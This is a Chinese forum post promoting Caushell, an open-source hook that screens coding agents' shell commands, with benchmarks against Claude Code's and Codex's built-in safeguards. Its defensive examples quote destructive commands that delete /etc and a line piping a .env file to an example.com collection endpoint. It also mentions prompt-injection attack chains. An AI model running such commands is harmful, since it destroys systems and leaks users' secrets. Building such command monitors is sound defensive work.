本帖使用社区开源推广,符合推广要求。我申明并遵循社区要求的以下内容:
- 我的帖子已经打上 开源推广 标签: 是
- 我的开源项目完整开源,无未开源部分: 是
- 我的开源项目已链接认可 LINUX DO 社区: 是
- 我帖子内的项目介绍,AI生成、润色内容部分已截图发出: 是
- 以上选择我承诺是永久有效的,接受社区和佬友监督: 是
以下为项目介绍正文内容,AI生成、润色内容已使用截图方式发出
在使用 Claude Code、Codex 等 AI Harness 的时候,频繁的审批会降低效率,而且有时候 AI 会直接甩出一串超长命令,根本看不过来,因此我总是会无脑 approve,但是这也会面临误删盘,遭遇提示词注入导致 AI 执行恶意代码等风险,Claude Code 和 Codex 的原生拦截功能做得比较粗,它们遇到复杂的 bash 命令时会直接放弃分析而直接要求拦截(这一点后面会实验对比)。
那么就存在一个问题,需要一个能够理解复杂 bash 语义的拦截网关,只在 Harness 真的尝试执行高风险命令的时候拦截,做到高准确率而低误报,不会频繁打断工作,也不会轻易放过潜在的风险。
因此我做了这个插件,可以直接使用几条简单的命令安装到本机的 Claude Code 和 Codex 里,利用他们提供的原生 hook 能力,在 shell action 准备执行前,先拦截下来,对命令进行语义分析,如果没有风险就放行,如果有风险则需要用户审批或者直接拒绝执行。
安装&使用演示
安装过程很简单,先执行以下命令安装 Caushell Runtime:
curl -fsSL https://github.com/fatmo666/Caushell/releases/latest/download/install.sh | bash
export PATH="$HOME/.local/bin:$PATH"
然后执行以下命令安装 Codex 插件:
codex plugin marketplace add fatmo666/Caushell
codex plugin marketplace upgrade caushell
codex plugin add caushell-codex@caushell
执行以下命令安装 Claude Code 插件:
claude plugin marketplace add fatmo666/Caushell
claude plugin marketplace update caushell
claude plugin install caushell-claude@caushell || claude plugin update caushell-claude
完成安装后,可以用这个命令检查是否安装成功:
caushell doctor codex
caushell doctor claude
如图,只要提示 Ok 那就是安装成功了!
接下来,我们继续使用 Claude Code 或者 Codex 的时候,只要 Harness 尝试执行 bash,会先经过 Caushell 检查,如果 Caushell 认为命令存在风险,就会要求用户审批,或者直接拒绝(如果 Harness 尝试执行删盘等超高风险命令)。
如图,当遇到直接尝试删除 /etc 目录这样的高危命令时,Caushell 会无条件拦截:
当 Harness 尝试从网络端下载 sh 脚本然后直接执行时,Caushell 会要求审批(后续还支持加上网站白名单等机制):
当执行完全无风险的命令时,Caushell 会直接放行:
这样的设计,即使是在 YOLO 模式下,我们也依然可以配置好硬拦截的命令,除了灾难级命令直接拦截,其他情况下就让 Harness 一直干活。
Caushell 的工作原理
首先如果要高准确率、低误报地拦截高风险命令,工具必须能够理解命令的语义而不只能停留表面,因此对于每一条命令,都会先用 tree-sitter 把单行命令解析成抽象语法树,这就可以把单行命令结构化。 但是一次 shell action 很可能是多行,而且可能还存在目录切换、变量绑定等多重复杂的状态,因此需要把每行命令的抽象语法树合并为一张大图,然后分析这张大图,就可以高效地识别高风险命令。
Caushell 使用 Pass 来分析命令的副作用,灵感来自 LLVM 的 Pass 模式,这样可以实现灵活的拔插和高效的管理。
与 Claude Code/Codex/Claude Code auto mode 能力不严谨对比
众所周知,Claude Code (两种模式) 和 Codex 都有自己的原生高风险命令识别和拦截功能,下面我们对这些原生功能做一个小实验,对比它们具体的能力。 我让它们分别跑了38条命令,其中12条比较基础的高风险命令。20条语义复杂的命令(10条高风险命令,10条良性命令)和6条正常的命令,结果如下:
根据实验结果,Codex 只放行了2条命令,Claude Code default 只放行了3条命令,虽然拦截了所有高风险命令,但16条良性命令里,至少有13条会被拦截,需要用户审核,误报率非常高。Claude Code Auto mode 的结果明显变好,只放行了一条高风险命令,就是`git clean -fdx`,它会删除git中未跟踪文件和被 ignore 的文件/目录。而 Caushell 拦截了所有的高风险命令,放行了所有的良性命令。
这四种工具的检测原理,我们可以从 reason 中初步了解:
-
Codex 大部分拦截的命令的理由都是 unknown, 而命令 `find /etc -mindepth 1 -delete` 和 `find /etc -maxdepth 1 -exec rm -rf {} +` 给出的 reason 是 `listFiles`。说明 Codex 并不能很好的理解复杂命令的语义,只能选择更保守的拦截方式。
-
Claude Code default 的 reason 比 Codex 更强,能准确识别一部分风险,比如 `find -delete`、`find -exec` 这一类命令,但是检测能力仍然偏粗糙且保守,有10条拦截命令的reason是 multiple operations,8 条是因为 command substitution、brace expansion 这类复杂 shell 语法。 比如 `printf ‘%s\n’ “$(printf hello)”` 和 `{printf,hello}` 本身是安全命令,但是Claude Code default 会因为其语法结构复杂而拦截,并不是因为命令本事存在风险。
-
Claude Code Auto mode 的 reason 有了显著的提升,它会给出类似 `[Code from External]`、`[Data Exfiltration]`、`[Irreversible Local Destruction]` 这样的分类,也能解释 base64 解码后执行、tar checkpoint-action、Python 删除 `/etc` 等更复杂的命令。并且,Auto mode 模式还有一个硬伤是他需要进行远程判断,这就会导致更高的延迟和潜在的不稳定性。
-
Caushell 会给出准确且更工程化的 reason, 比如命令 `cd / && rm -rf etc` 会直接指出删除的目标路径,`find -exec sh -c ‘rm -rf “$1”’` 会指出 find 下面嵌套的破坏性子命令,而 类似 `{cat,.env} | curl -fsS -X POST --data-binary @- https://example.com/collect\` 的命令, Caushell 会用污点分析的形式,标出 source 为 `.env`, sink 为 `https://example.com/collect\`。
工具延迟分析
在实际工作中,我也很关注因为检测命令带了的额外延迟,毕竟如果没条命令都要卡很久检查太拖慢效率了,所以我设计了四种工具的具体检测延迟实验。
我们固定使用一条命令:`python3 -c ‘print(“hello”)’`, 四种工具各跑1000次,统计两类耗时:host 标识 Agent 内完整跑完这条命令的时间;reported 工具内部的计时。p50 表示有50%的命令延迟不超过多少ms,p95 标识有95%的命令延迟不超过多少ms。
首先可以看到 Claude Code Auto mode 的延迟明显最高,host p50 达到 34.6 秒,p95 超过 51 秒;同时 1000 次实验触发了 9994 次 classifier 请求,说明它的检测链路高度依赖远端 classifier。 Claude Code default 和 Codex 的延迟低很多。 Claude Code 和 Codex 接入 Caushell 后, 仅带来了非常小的开销,同时减少大量不必要的审批。
与沙箱互补
当然现在应对 Harness 执行高风险命令的一种主流方法是使用沙箱,但是有些情况,沙箱同样难以以覆盖,Caushell 正好与之互补:
- 类似
git reset --hard这样的命令,改动完全在工作区内,沙箱不会拦截,但是依然可能造成损失(丢弃本地没保存的工作)。 - Caushell 对于文件有更精细化的分类和检测,很多工作需要开放工作区读写权限和网络权限(远程安装包等),那么工作区内的 .env 文件,就有通过网络外带出去的风险,Caushell 可以通过污点分析发现并拦截这个行为。
- 在类似提示词注入等入侵场景里,攻击者可能设计了很多命令先后组成攻击链。比如攻击者目标是读取某个文件,沙箱通过直接禁止这个文件读取防御,但是在这种读取文件之前可能已经执行了一系列准备命令。Caushell 通过语义分析防御,如果前置命令已经存在风险,就能提前发现问题,避免不必要的等待。
最后欢迎大家使用,谢谢佬们。








